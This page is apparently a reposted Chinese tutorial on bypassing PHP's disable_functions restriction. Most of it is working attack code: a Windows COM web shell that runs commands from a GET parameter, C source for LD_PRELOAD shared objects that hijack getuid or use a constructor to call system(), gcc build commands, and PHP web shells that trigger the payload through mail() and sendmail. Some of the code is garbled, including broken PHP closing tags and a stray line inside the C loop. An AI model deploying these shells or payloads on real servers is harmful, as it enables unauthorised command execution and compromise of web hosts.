phpdisable_function绕过
bypass disable_functions
disable_functions是php.ini中的⼀个设置选项,可以⽤来设置PHP环境禁⽌使⽤某些函数,通常是⽹站管理员为了安全起见,⽤来禁⽤某些危险的命令执⾏函数等。
要进⾏添加的话在php.ini中添加即可,每个函数之间使⽤逗号隔开。
配置
打开php.ini,搜索disable_function,添加如下函数
eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,r eadlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
重启web服务,更改index.php,查看输出
<?php
eval(var_dump(1));
phpinfo();
发现成功执⾏了eval函数,但是disable_function中确实禁⽌了eval
因为eval是语⾔构造器,不是函数,放在disable_functions中是⽆法禁⽤的,如果想禁掉eval可以⽤php的扩展 Suhosin
基础绕过
危险函数
exec
shell_exec
system
passthru
popen
proc_open
pcntl_exec
Windows
com组件拓展
要求:
开启COM组件(5.4⾃带其他版本⾃⼰添加)
com_dotnet
上传脚本
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // ⽣成⼀个COM对象 Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //调⽤对象⽅法来执⾏命令$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
>
Linux
环境变量LD_preload
劫持sendmail中getuid
条件:
mail()函数和error_log()函数未被全部禁⽤
函数所调⽤的sendmail命令已安装
centos默认安装的
ubantu则默认不安装
基本原理
通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执⾏操作系统命令。
LD_PRELOAD是Linux系统的下⼀个有趣的环境变量:
“它允许你定义在程序运⾏前优先加载的动态链接库。这个功能主要就是⽤来有选择性的载⼊不同动态链接库中的相同函数。
so就像windows的dll,可以写⼊,也可以覆盖然后利⽤LD_preload来优先加载so动态链接库
sendmail函数在运⾏过程动态调⽤了很多标准库函数
readelf -Ws /usr/sbin/sendmail
构造poc思路
编写⼀个原型为 uid_t getuid(void); 的 C 函数,内部执⾏攻击者指定的代码,并编译成共享对象 evil.so;
运⾏ PHP 函数 putenv(),设定环境变量 LD_PRELOAD 为 evil.so,以便后续启动新进程时优先加载该共享对象;
运⾏ PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上⼀步 LD_PRELOAD 的作⽤,sendmail 调⽤的系统函数 getuid() 被优先级更好的 evil.so 中的同名 getuid() 所劫持;
1.编制我们⾃⼰的动态链接程序,代码如下(功能是执⾏mkdir test)执⾏编译为⼀个动态共享库的命令如下
gcc -shared -fPIC test.c -o test.so
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
2.利⽤webshell,上传编译后的a.so到⽬标服务器
3.通过putenv来设置LD_PRELOAD,让我们的程序优先被调⽤。在webshell上⽤mail函数发送⼀封邮件来触发。利⽤代码如下
<?php
echo "<p> <b>example</b>: test/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
>
这⾥接受3个参数
⼀是cmd参数,待执⾏的系统命令
⼆是outpath参数,保存命令执⾏输出结果的⽂件路径,便于在页⾯上显⽰,另外该参数,你应注意web是否有读写权限、web是否可跨⽬录访问、⽂件将被覆盖和删除等⼏点
三是sopath参数,指定劫持系统函数的共享对象的绝对路径。
这⾥通过putenv()函数将LD_PRELOAD环境变量设置为恶意的test.so
将⾃定义的EVIL_CMDLINE环境变量赋值为要执⾏的命令;
然后调⽤mail()函数触发sendmail(),再通过sendmail()触发getuid()从⽽使恶意的test.so被加载执⾏
最后再输出内容到页⾯上并删除临时存放命令执⾏结果的⽂件。
劫持启动进程
GCC 有个 C 语⾔扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执⾏,若它出现在共享对象中时,那么⼀旦共享对象被系统加载,⽴即将执⾏
攻击利⽤
bypass_disablefunc.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
/
/ unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
php延时函数for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
通过 LD_PRELOAD 劫持了启动进程的⾏为,劫持后⼜启动了另外的新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷⼊⽆限循环,所以必须得删除环境变量 LD_PRELOAD。所以⽤environ来进⾏ 删除环境变量
接着⽤以下语句编译C⽂件为共享对象⽂件:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
bypass_disablefunc.php,代码和test.php⼀致:
<?php
echo "<p> <b>example</b>: site/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>"; $cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
>
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论